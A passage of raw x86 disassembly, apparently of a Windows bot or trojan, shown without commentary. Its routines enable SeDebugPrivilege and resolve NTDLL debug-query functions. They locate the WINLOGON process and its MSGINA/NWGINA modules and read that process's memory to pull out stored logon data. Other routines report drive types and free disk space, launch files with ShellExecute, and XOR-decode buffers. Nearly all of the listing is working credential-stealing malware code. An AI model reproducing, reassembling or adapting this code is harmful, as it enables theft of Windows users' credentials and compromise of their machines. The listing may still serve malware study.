eax, [ebp-510h] push eax call sub_415D38 add esp, 28h loc_4169AF: ; CODE XREF: ___:00416964j ; ___:00416969j nop call near ptr 2690794h sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 266076Ah push dword ptr [ebp-1Ch] call sub_41BA91 cmp [ebp-38h], esi pop ecx jz short loc_416A39 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416A39 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_4382B4 push eax call sub_41C266 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 lea eax, [ebp-510h] push eax call sub_415D38 add esp, 28h loc_416A39: ; CODE XREF: ___:004169E1j ; ___:004169F3j cmp [ebp-14h], esi jz loc_416C79 cmp dword ptr [ebp-44h], 1 jz loc_416B34 mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_427690 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_427690 fstp qword ptr [esp] push offset unk_43827C push eax call sub_41C266 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416AB4 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_416AB4: ; CODE XREF: ___:00416A92j lea eax, [ebp-510h] push eax call sub_415D38 cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_416C79 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CB940 cmp [ebp-30h], esi jnz loc_416C79 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_438260 push eax call sub_41C266 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 lea eax, [ebp-510h] push eax call sub_415D38 add esp, 24h jmp loc_416C79 ; --------------------------------------------------------------------------- loc_416B34: ; CODE XREF: ___:00416A46j mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_427690 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_427690 fstp qword ptr [esp] push offset unk_43821C push eax call sub_41C266 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416B9C push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_416B9C: ; CODE XREF: ___:00416B7Aj lea eax, [ebp-510h] push eax call sub_415D38 push 10h lea eax, [ebp-10h] push esi push eax call sub_41BF70 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41BF70 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset byte_43DB88 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi nop call near ptr 2660A8Bh cmp eax, edi jnz short loc_416C1E call dword_4CB92C call sub_4188A6 push esi call near ptr 77E75CB5h nop loc_416C1E: ; CODE XREF: ___:00416C0Aj lea eax, [ebp-148h] push eax push offset unk_4381E8 jmp short loc_416C38 ; --------------------------------------------------------------------------- loc_416C2C: ; CODE XREF: ___:004167E5j lea eax, [ebp-248h] push eax push offset unk_4381BC loc_416C38: ; CODE XREF: ___:00416C2Aj lea eax, [ebp-510h] push eax call sub_41C266 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_416C6C push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_416C6C: ; CODE XREF: ___:00416C4Aj lea eax, [ebp-510h] push eax call sub_415D38 pop ecx loc_416C79: ; CODE XREF: ___:00416A3Cj ; ___:00416AC5j ... push dword ptr [ebp-18h] call dword_4CBA08 push dword ptr [ebp-48h] call sub_40B6D6 pop ecx push esi nop call near ptr 26E0000h ; =============== S U B R O U T I N E ======================================= sub_416C92 proc near ; CODE XREF: ___:004168BEp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416CAE loc_416C9E: ; CODE XREF: sub_416C92+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_416C9E locret_416CAE: ; CODE XREF: sub_416C92+Aj retn sub_416C92 endp ; =============== S U B R O U T I N E ======================================= sub_416CAF proc near ; CODE XREF: sub_401ACD+5761p ; sub_401ACD+5896p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41DC5E pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416CAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416CC9 proc near ; CODE XREF: sub_41036B+458p ; sub_41036B+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D35F8 push 0 push edi call sub_41BF70 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416CEE: ; CODE XREF: sub_416CC9+5Bj ; sub_416CC9+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41DD20 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41DCB0 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416D2C inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416CEE mov byte ptr [esi], 2Ch inc esi jmp short loc_416CEE ; --------------------------------------------------------------------------- loc_416D2C: ; CODE XREF: sub_416CC9+4Bj dec esi mov eax, edi loc_416D2F: ; CODE XREF: sub_416CC9+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416D3E mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416D2F ; --------------------------------------------------------------------------- loc_416D3E: ; CODE XREF: sub_416CC9+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416CC9 endp ; =============== S U B R O U T I N E ======================================= sub_416D48 proc near ; CODE XREF: sub_416EFD+51p ; sub_416EFD+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CBA34 sub eax, 0 jz short loc_416D8B dec eax jz short loc_416D85 dec eax dec eax jz short loc_416D7F dec eax jz short loc_416D79 dec eax jz short loc_416D73 dec eax jz short loc_416D6D mov eax, offset word_4383AC retn ; --------------------------------------------------------------------------- loc_416D6D: ; CODE XREF: sub_416D48+1Dj mov eax, offset off_4383A8 retn ; --------------------------------------------------------------------------- loc_416D73: ; CODE XREF: sub_416D48+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_416D79: ; CODE XREF: sub_416D48+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_416D7F: ; CODE XREF: sub_416D48+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_416D85: ; CODE XREF: sub_416D48+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_416D8B: ; CODE XREF: sub_416D48+Dj mov eax, offset aUnknown ; "Unknown" retn sub_416D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D91 proc near ; CODE XREF: sub_416DD9+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CB8C4 test eax, eax jz short loc_416DC6 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416DC6: ; CODE XREF: sub_416D91+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_416D91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416DD9 proc near ; CODE XREF: sub_416EFD+17p ; sub_41AF8F+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_416D91 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416EB7 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416EB7 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416EB7 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41C360 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41C360 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41C360 add esp, 10h pop ebx jmp short loc_416EE9 ; --------------------------------------------------------------------------- loc_416EB7: ; CODE XREF: sub_416DD9+2Cj ; sub_416DD9+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41C266 pop ecx pop ecx loc_416EE9: ; CODE XREF: sub_416DD9+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416DD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EFD proc near ; CODE XREF: sub_416FCF+17p ; sub_416FCF+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416DD9 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41CA50 add esp, 10h test eax, eax jnz short loc_416F70 push ebx push ebx call sub_416D48 pop ecx push eax push offset unk_4383FC lea eax, [ebp+var_500] push 200h push eax call sub_41C360 add esp, 14h jmp short loc_416FA4 ; --------------------------------------------------------------------------- loc_416F70: ; CODE XREF: sub_416EFD+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_416D48 pop ecx push eax push offset unk_4383C0 lea eax, [ebp+var_500] push 200h push eax call sub_41C360 add esp, 20h loc_416FA4: ; CODE XREF: sub_416EFD+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_500] push eax call sub_415D38 add esp, 18h pop edi pop esi pop ebx leave retn sub_416EFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FCF proc near ; CODE XREF: sub_401ACD+252Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416FF0 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EFD add esp, 10h jmp short loc_417051 ; --------------------------------------------------------------------------- loc_416FF0: ; CODE XREF: sub_416FCF+9j push esi push edi push ebx push ebx call dword_4CB93C lea esi, [eax+2] push esi call sub_41BEB5 pop ecx mov edi, eax push edi push esi call dword_4CB93C cmp [edi], bl mov esi, edi jz short loc_417048 loc_417014: ; CODE XREF: sub_416FCF+77j push offset off_438438 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_417037 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EFD add esp, 10h loc_417037: ; CODE XREF: sub_416FCF+54j push esi call sub_41B9C0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_417014 loc_417048: ; CODE XREF: sub_416FCF+43j push edi call sub_41BA91 pop ecx pop edi pop esi loc_417051: ; CODE XREF: sub_416FCF+1Fj pop ebx pop ebp retn sub_416FCF endp ; --------------------------------------------------------------------------- dword_417054 dd 81EC8B55h, 49CECh, 8458B00h, 0B9575653h, 0A7h, 0BD8DF08Bh ; DATA XREF: sub_401ACD+67C1o dd 0FFFFFD64h, 80C7A5F3h, 298h, 1, 0FEEC858Dh, 0E850FFFFh dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh dd 50FFFFFDh, 43845C68h, 64858D00h, 68FFFFFBh, 200h, 529AE850h dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh, 83FFFF27h dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh, 0C4830000h dd 858D5018h, 0FFFFFB64h, 43843C68h, 3FE85000h, 83000051h dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h dd 95E85359h, 90022C8Eh, 555B5E5Fh, 0EC81EC8Bh, 54Ch, 0BE575653h dd 104h, 8D1875FFh, 0FFFDB885h, 84A068FFh, 50560043h, 51CBE8h dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh, 0B8858D50h dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC0BBh, 0F6717400h dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh, 0FFFEE885h dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h, 0FF000051h dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh dd 0E890FC75h, 2368DD8h, 8F75C085h, 0E8FC75FFh, 21C8DCCh dd 1475FF90h, 0FDB8858Dh, 75FFFFFFh, 50565318h, 5117E8h dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h dd 0FFFFFFFAh, 84681875h, 68004384h, 200h, 50DAE850h, 16A0000h dd 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF25CCE8h dd 28C483FFh, 0FEBC858Dh, 5650FFFFh, 368D53E8h, 0C0859002h dd 9056B175h, 1C8D47E8h, 1C458B02h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172C1 proc near ; DATA XREF: sub_401ACD+1C72o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41AE41 cmp eax, esi mov [ebp+var_4], eax jz short loc_417300 cmp eax, 2 jz short loc_417300 push offset unk_438678 jmp loc_41743F ; --------------------------------------------------------------------------- loc_417300: ; CODE XREF: sub_4172C1+2Ej ; sub_4172C1+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx test eax, eax pop ecx jz loc_41743A push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 26A0CEEh mov esi, dword_4270C4 mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D483C, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D4830, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D4A40, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D4838, eax call esi mov dword_4D4834, eax call sub_417493 test eax, eax mov [ebp+arg_0], eax jz loc_41740D mov esi, dword_427148 mov edi, 400h mov ebx, offset dword_4D3830 push edi push ebx push offset off_4385B4 call esi push edi mov edi, offset dword_4D4030 push edi push offset off_43859C call esi cmp [ebp+var_4], 1 push offset dword_4D4A48 push [ebp+arg_0] jnz short loc_4173B9 call sub_41761C jmp short loc_4173BE ; --------------------------------------------------------------------------- loc_4173B9: ; CODE XREF: sub_4172C1+EFj call sub_4177C3 loc_4173BE: ; CODE XREF: sub_4172C1+F6j pop ecx test eax, eax pop ecx jz short loc_417406 cmp dword_4D4A48, 0 jnz short loc_4173ED push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_438540 push 200h push eax call sub_41C360 add esp, 18h jmp short loc_417420 ; --------------------------------------------------------------------------- loc_4173ED: ; CODE XREF: sub_4172C1+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_4173FD call sub_4178F9 jmp short loc_417402 ; --------------------------------------------------------------------------- loc_4173FD: ; CODE XREF: sub_4172C1+133j call sub_417990 loc_417402: ; CODE XREF: sub_4172C1+13Aj pop ecx push eax jmp short loc_417412 ; --------------------------------------------------------------------------- loc_417406: ; CODE XREF: sub_4172C1+101j push offset unk_438508 jmp short loc_417412 ; --------------------------------------------------------------------------- loc_41740D: ; CODE XREF: sub_4172C1+B6j push offset unk_4384DC loc_417412: ; CODE XREF: sub_4172C1+143j ; sub_4172C1+14Aj lea eax, [ebp+var_29C] push eax call sub_41C266 pop ecx pop ecx loc_417420: ; CODE XREF: sub_4172C1+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx push [ebp+var_8] call near ptr 27C0860h nop pop ebx jmp short loc_41744D ; --------------------------------------------------------------------------- loc_41743A: ; CODE XREF: sub_4172C1+4Ej push offset unk_4384A8 loc_41743F: ; CODE XREF: sub_4172C1+3Aj lea eax, [ebp+var_29C] push eax call sub_41C266 pop ecx pop ecx loc_41744D: ; CODE XREF: sub_4172C1+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_417474 push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409869 add esp, 14h loc_417474: ; CODE XREF: sub_4172C1+191j lea eax, [ebp+var_29C] push eax call sub_415D38 push [ebp+var_18] call sub_40B6D6 pop ecx pop ecx push esi call near ptr 26E0000h nop pop edi pop esi sub_4172C1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417493 proc near ; CODE XREF: sub_4172C1+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427154 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427150 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D483C push ebp push 0 call esi push eax call near ptr 27E0000h nop push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D483C test eax, eax jnz short loc_417580 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_417580 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_417580 loc_41751C: ; CODE XREF: sub_417493+EBj cmp word ptr [ebx+8], 5 jnz short loc_417573 push 0 push 0 call dword_4D4830 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D4A40 test eax, eax jnz short loc_417564 mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_417598 loc_417564: ; CODE XREF: sub_417493+AAj test edi, edi jz short loc_41756F push edi call dword_4D4838 loc_41756F: ; CODE XREF: sub_417493+D3j mov eax, [esp+28h+var_10] loc_417573: ; CODE XREF: sub_417493+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_41751C loc_417580: ; CODE XREF: sub_417493+6Dj ; sub_417493+7Aj ... xor edi, edi loc_417582: ; CODE XREF: sub_417493+17Dj push ebp push 0 call esi push eax nop call near ptr 27E0000h mov eax, edi loc_417590: ; CODE XREF: sub_417493+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_417598: ; CODE XREF: sub_417493+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_417601 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_4175AE: ; CODE XREF: sub_417493+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_417615 push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4175F3 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_4175F3: ; CODE XREF: sub_417493+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_4175AE loc_417601: ; CODE XREF: sub_417493+10Fj test edi, edi jz short loc_41760C push edi call dword_4D4838 loc_41760C: ; CODE XREF: sub_417493+170j mov edi, [esp+28h+var_4] jmp loc_417582 ; --------------------------------------------------------------------------- loc_417615: ; CODE XREF: sub_417493+13Cj xor eax, eax jmp loc_417590 sub_417493 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41761C proc near ; CODE XREF: sub_4172C1+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call near ptr 26802ECh nop cmp eax, esi mov [ebp+var_4], eax jnz short loc_417645 xor eax, eax jmp loc_4177C0 ; --------------------------------------------------------------------------- loc_417645: ; CODE XREF: sub_41761C+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 2800000h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427154 push 8 call esi mov edi, dword_427150 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_42715C push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_417695 xor esi, esi jmp loc_4177B3 ; --------------------------------------------------------------------------- loc_417695: ; CODE XREF: sub_41761C+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 27F0B38h test eax, eax jz loc_4177A2 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4177A2 test [ebp+var_2B], 1 jnz loc_4177A2 push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4177A2 loc_4176F8: ; CODE XREF: sub_41761C+112j push edi push offset dword_4D3830 call sub_4263E5 pop ecx test eax, eax pop ecx jnz short loc_417720 lea eax, [edi+200h] push eax push offset dword_4D4030 call sub_4263E5 pop ecx test eax, eax pop ecx jz short loc_417730 loc_417720: ; CODE XREF: sub_41761C+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4177A2 jmp short loc_4176F8 ; --------------------------------------------------------------------------- loc_417730: ; CODE XREF: sub_41761C+102j test edi, edi jz short loc_4177A2 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 27704F1h test eax, eax jz short loc_41776B lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 2770000h test eax, eax jz short loc_41776B mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_41776B: ; CODE XREF: sub_41761C+12Bj ; sub_41761C+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4A54, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D4A4C, eax mov dword_4D4A50, edi loc_4177A2: ; CODE XREF: sub_41761C+90j ; sub_41761C+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 27E0000h mov esi, [ebp+var_10] loc_4177B3: ; CODE XREF: sub_41761C+74j push [ebp+var_4] nop call near ptr 266076Ah pop edi mov eax, esi pop ebx loc_4177C0: ; CODE XREF: sub_41761C+24j pop esi leave retn sub_41761C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177C3 proc near ; CODE XREF: sub_4172C1:loc_4173B9p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 26802ECh test eax, eax mov [ebp+arg_0], eax jz loc_4178B5 mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 2800000h mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_4178AC mov edi, dword_427154 loc_41780E: ; CODE XREF: sub_4177C3+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 27F0B38h test eax, eax jz short loc_41789A mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4178A0 test [ebp+var_13], 1 jnz short loc_4178A0 push ecx push 8 call edi push eax nop call near ptr 27F0000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push 